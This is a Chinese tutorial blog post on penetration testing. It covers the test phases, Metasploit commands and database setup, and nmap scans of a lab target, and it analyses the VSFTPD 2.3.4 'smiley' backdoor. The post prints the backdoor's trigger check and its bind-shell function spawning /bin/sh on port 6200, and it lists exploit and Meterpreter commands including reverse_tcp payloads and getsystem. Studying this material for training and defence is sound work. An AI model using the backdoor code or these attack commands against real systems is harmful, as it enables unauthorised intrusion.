渗透测试是一种有目的性的、针对目标机构计算机系统安全的检测评估方法。
渗透测试可以发现系统的漏洞和安全机制方面的隐患,并以此进行渗透攻击来取得目标计算机的控制权。
通过渗透测试可以知道目标机构的计算机系统是否易于受到攻击,现有的安全部署是否能妥善地抵御攻击,以及哪部分安全机制可能被绕过,等等。渗透测试的主要目的是改善目标机构的安全性。
作为渗透测试的第一个步骤,前期交互阶段将确定客户(可能是一个公司、机构或者网络)的渗透测试的关键细节。这一切都是在与客户进行商讨之后决定的。
这个阶段确定渗透测试的范围、目标以及代表客户进行测试时的特殊需求,例如特殊的权限、关键系统的访问许可等。
渗透测试的范围
这一部分需要确定渗透测试的范围并预估整个项目的工作量。同时要确定哪些目标在渗透测试范围内,哪些是不允许进行渗透测试的。
关于渗透范围的常规文档应该包含了如下问题的答案:
渗透测试的目标
这一部分要商定本次渗透测试预期达到的主要和次要效果。
有关渗透目标的常见问题列举如下:
渗透测试用到的术语和定义
这一部分要向客户介绍整个测试过程中出现的专业术语和定义,以便客户能够更好地理解整个渗透测试工作。
渗透测试的规定
这一部分要商定完成渗透测试的工期,具体工作展开的进度表,渗透攻击的授权许可,以及定期召开会议以跟进渗透测试进程中出现的各种情况。
有关约定规则的常见问题列举如下:
在信息收集阶段,你需要尽可能采用各种方式来收集目标网络的所有信息。这个目标网络可能是互联网的一个网站,或者是一个社会性的组织,甚至可能是一个财力雄厚的老牌商业公司。
在这个阶段,最重要的是要通过各种社交媒体网络来收集相关信息,以及使用Google Hacking(一种使用特殊的查询方法通过Google搜索引擎收集敏感信息的方式)技术去寻找目标的相关信息。
另外,对目标使用主动扫描和被动扫描技术进行踩点(footprinting)也是一种可行的办法。
信息收集是整个渗透测试过程中最为重要的阶段之一。与尝试所有可行的渗透测试方法相比,对目标有适当的了解可以让测试者选择合适和准确的渗透测试攻击方式。
这一阶段涉及的步骤如下:
大多数时候,当渗透测试工程师开始进行渗透的时候,他们已经明确下一步要做什么了。这意味着如果他们看到一个Windows操作系统在运行,将会选择专门针对Windows操作系统的渗透模块(exploit)。
为了保证我们的渗透测试能够正确进行,必须进行威胁建模。在这个阶段,主要的工作是模拟出对目标准确的威胁以及这些威胁的作用,并根据这些威胁可能对目标产生的影响对其进行分类。
根据之前在信息收集阶段作出的分析,在这个阶段我们可以确定最佳的攻击方式。
这一阶段将解决以下问题:
漏洞分析是在一个系统或者一个应用程序中发现漏洞的过程。
这些漏洞多种多样,涵盖了很多方面,从服务器的配置到Web程序服务,从应用程序到数据库服务,从一个基于VOIP的服务器到基于SCADA的服务都可能存在漏洞。
在这个阶段包含了三个不同的机制,那就是测试、验证和研究。
测试包括主动测试和被动测试。验证包括去除误报和通过手动验证确认漏洞的存在。研究指的是发现并触发漏洞以确认它的存在。
渗透攻击阶段可以利用之前漏洞分析阶段的成果。这个阶段一般被认为是真正的攻击阶段。在这个阶段,渗透测试者可以针对目标系统的漏洞使用对应的入侵模块获得控制权限。
在进行渗透测试时,创建整个渗透测试的正式报告是在最后一个阶段进行的。
渗透测试报告的重要组成部分包括:确定目标最为重要的威胁,将渗透得到的数据生成表格和图表,对目标系统的改进建议,以及这些问题的修复方案。
可以看看我的往期文章,有比较详细的安装方法。
Kali-Linux-2021.3保姆级安装教程【手把手教你安装Kali】
有任何问题也可以随时咨询博主,博主会根据自己的经验和知识讲讲自己的看法。如果是想要资料或者看的书也可以私信博主。
在开始使用Metasploit之前,需要有一个测试用的实验环境。建立这种环境最好的办法就是拥有数目众多的计算机,同时在这些计算机上安装不同的操作系统。然而,如果只有一台计算机的话,最好的办法就是建立一个虚拟的实验环境。
虚拟化技术在如今的渗透测试中扮演了十分重要的角色。由于硬件设备的价格相对昂贵,采用虚拟化技术可以使得渗透测试经济有效。在一台计算机上模拟出多个操作系统不仅可以节省大量成本,同时也降低了电力的使用和空间的占用。建立一个虚拟化的渗透测试环境可以避免对你的真实主机系统进行任何修改,并使得我们的所有操作都在一个独立的环境中进行。虚拟化的网络环境允许你的渗透测试在一个独立的虚拟网络中运行,从而无须使用或者修改主机系统的网络硬件。
VMWare 官方网站
Kali Linux 官方网站
Metasploit是一种安全框架,为渗透测试工程师提供了大量的渗透模块和扫描模块。
2003年H.D Moore创建了Metasploit,从那之后Metasploit便快速发展起来,如今被公认是最为流行的渗透测试工具之一。
Metasploit是一个完全的Ruby驱动项目,提供了大量的漏洞渗透、攻击载荷(payload)、编码技术以及后渗透模块。
Metasploit提供了以下多种版本:
Metasploit提供了以下多种版本
这是Metasploit的一个商业化版本,提供了大量的功能,例如Web应用程序扫描工具、杀毒软件绕过工具、自动化渗透工具,十分适合专业渗透测试工程师和IT安全团队使用。Pro版通常用来实现高级渗透测试和企业安全项目。
Metasploit Express版
这是一个为初级渗透测试工程师设计的版本。这个版本中的Metasploit包含了智能化渗透、密码的自动化暴力破解等功能,十分适合中小型企业的IT安全团队使用。
Metasploit Community版
这是Metasploit Express精简后的免费版本。对于小企业和学生来说这是一个不错的选择。
Metasploit Framework版
这是一个完全在命令行中运行的版本。这个版本的所有任务都在命令行下完成,比如说手工渗透、第三方模块导入等。该版本适合开发人员和安全研究人员。
GUI(Graphical User Interface)界面
在图形化工作模式下,往往轻点一下鼠标就能完成所有的任务。这种工作方式提供了友好的操作模式和简单快捷的漏洞管理方式。
控制台界面
最为普遍也最为流行的工作方式。这种界面提供了一种统一的工作方式来管理Metasploit的所有功能。这种管理方法通常也被认为是最稳定的控制方法之一。
命令行界面
命令行界面是功能最为强大的界面,它支持对渗透模块的所有操作(例如攻击载荷的生成)。
Armitage
Armitage是Raphael Mudge编写的一个充满了黑客风格的GUI界面。Armitage提供轻松的漏洞管理、内置的NMAP扫描和渗透攻击推荐,并通过使用Cortana脚本实现自动化功能。
运行Metasploit
su root
Password: [Your Password]
sudo msfconsole
成功运行Metasploit之后,就可以在Metasploit的命令控制台上键入help命令,Metasploit会列出所有可以使用的命令。
Metasploit中使用的基本术语:
Metasploit的基本命令
命令 | 用法 | 示例 |
---|---|---|
use [Auxiliary/Exploit/ Payload/Encoder] | 选择一个指定的模块并使其开始工作 | msf> use exploit/unix/ftp/vsftpd_234_backdoor |
show [exploits/payloads/ encoder/auxiliary/options] | 显示可用的特定功能的模块 | msf> show payloads |
set [options/payload] | 给某个特定对象赋值 | msf> set payload windows/meterpreter/reverse_tcp |
setg [options/payload] | 给某个对象赋值的同时设定作用域为全局,在模块进行切换的时候,该对象的值不会被改变 | msf> setg RHOST 192.168.10.112 |
Run | 在设置一个辅助模块需要的所有选项之后,启动该辅助模块 | msf> run |
exploit | 启动一个渗透模块 | msf> exploit |
back | 取消当前选择的模块并且退回到上一级命令窗口 | msf(ms08_067_netapi)> back |
Info | 列出相关模块的信息 | msf> info exploit/windows/smb/ms08_067_netapi |
Search | 搜索符合条件的特定模块 | msf> search hfs |
check | 检查某个特定目标是否易受攻击 | msf> check |
Sessions | 列出当前可用的会话 | msf> sessions [session number] |
Meterpreter的一些命令
命令 | 用途 | 示例 |
---|---|---|
sysinfo | 列出被渗透主机的系统信息 | meterpreter> sysinfo |
ifconfig | 列出被渗透主机的网络接口 | meterpreter> ifconfig |
Arp | 列出目标主机 ARP缓存地址的 IP地址和 MAC 地址 | meterpreter> arp |
background | 将一个处于激活状态的会话发送到后台 | meterpreter> background |
shell | 获取目标主机的一个 cmd shell | meterpreter> shell |
getuid | 获取当前用户细节 | meterpreter> getuid |
getsystem | 提升权限,获取系统级权限 | meterpreter> getsystem |
getpid | 获取 Meterpreter 会话在目标主机上注入进程的进程号 | meterpreter> getpid |
ps | 列出目标主机上运行的所有进程 | meterpreter> ps |
假设要对一个未知网络进行黑盒测试,并且已经完成了前期交互阶段的工作。测试范围是一个单独的IP地址,事先我们没有得到该目标IP地址的任何相关信息。
正如前文所介绍的那样,在信息收集阶段应该围绕着目标收集尽可能多的相关信息。主动扫描和被动扫描包括了端口扫描、banner获取,以及根据被测试的目标特点选择的各种其他扫描方式。
NMAP被证明是最适合进行内部目标踩点的工具之一。由NMAP生成的报告可以轻松地导入到Metasploit中。Metasploit内置了数据库功能,利用这个功能我们就能在Metasploit中执行NMAP扫描,并将扫描结果存储在数据库中。
Metasploit与数据库建立连接可以加快搜索的速度,缩短响应的时间。
初始化数据库
sudo service postgresql start
sudo msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
使用
sudo msfconsole
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
上面这条命令用来检查是否与数据库建立了连接,以及该数据库是否做好了保存扫描结果的准备。上图显示已经与数据库建立了连接,而且它会保存所有的结果。
数据库命令
命令 | 用途 |
---|---|
db_connect | 用来与默认数据库之外的数据库交互 |
db_export | 用来将数据库中保存的数据导出,用来生成测试报告或者用来导入到其他安全工具中 |
db_nmap | 用来使用NMAP软件对目标进行扫描,并将结果保存到Metasploit的数据库中 |
db_status | 用来检查是否建立了与数据库的连接 |
db_disconnect | 用来从指定的数据库中断开 |
db_import | 用来向数据库中导入来自其他扫描工具(例如Nessus、NMAP等)的扫描结果 |
db_rebuild_cache | 用来重新建立缓存,主要目的是使用新的配置替代之前缓存文件中错误或者过时的配置 |
现在我们已经了解了与数据库相关的命令,接下来就在目标上执行一次NMAP扫描。
执行nmap
事先声明博主环境
攻击者IP:192.168.184.122
靶机IP:192.168.184.120
msf6 > db_nmap -sV -p 21,22,25,80,110,443,445 192.168.184.120
在上面的截图中,我们使用db_nmap命令将所有结果自动保存在Metasploit的数据库中。截图最上方的那条命令使用了-sV参数,这表示NMAP要对目标主机的服务进行扫描,参数-P表示要对目标的端口进行扫描。
使用services命令可以列出在目标端口上运行的服务。
在目标计算机上运行着大量的服务。可以使用services –u命令对当前运行的服务进行过滤。
使用db_nmap的-O
参数可以获取目标主机的系统banner。
msf6 > db_nmap -O 192.168.184.120
也可以使用hosts命令列出数据库中所有的主机。
通过信息收集,可知目标计算机上运行着大量服务。主机信息也告诉我们目标的操作系统是基于Linux的。现在在Metasploit中查找一个漏洞对应的渗透模块。
我们可以在Metasploit找到对应服务的漏洞的渗透模块,然后展开渗透。
这是一个比较有名的漏洞,复现教程网络上到处都是,一个13年的老漏洞了,现在官方已经对2.3.4版本进行了修复,如果要复现的话注意选择的安装包。
如果找不到VSFTPD2.3.4含笑脸漏洞安装包也可以私信博主。
笑脸漏洞原理
对VSFTPD 2.3.4的攻击其实就是通过向21端口发送一个特定字节的序列来触发恶意的vsf_sysutil_extra();函数。一旦成功执行,就会在系统的6200端口打开一个后门。
漏洞代码
else if((p_str->p_buf[i]==0x3a))
&& (p_str->p_buf[i+1]==0x29)
{
vsf_sysutil_extra();
}
代码分析
可以清楚地看到,如果网络缓冲区中的字节与后门序列中的0x3a(就是:)
和0x29相匹配,那么恶意的函数就会被触发。
整个函数如下:
-int
-vsf_sysutil_extra(void)
-{
- int fd, rfd;
- struct sockaddr_in sa;
- if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- exit(1);
- memset(&sa, 0, sizeof(sa));
- sa.sin_family = AF_INET;
- sa.sin_port = htons(6200);
- sa.sin_addr.s_addr = INADDR_ANY;
- if((bind(fd,(struct sockaddr *)&sa,
- sizeof(struct sockaddr))) < 0) exit(1);
- if((listen(fd, 100)) == -1) exit(1);
- for(;;)
- {
- rfd = accept(fd, 0, 0);
- close(0); close(1); close(2);
- dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
- execl("/bin/sh","sh",(char *)0);
- }
-}
详细代码可以去pastebin查看
sa.sin_port=6200将6200作为后门服务的端口,通过execl(“/bin/sh”,“sh”,(char *)0);语句执行发送到目标服务的命令。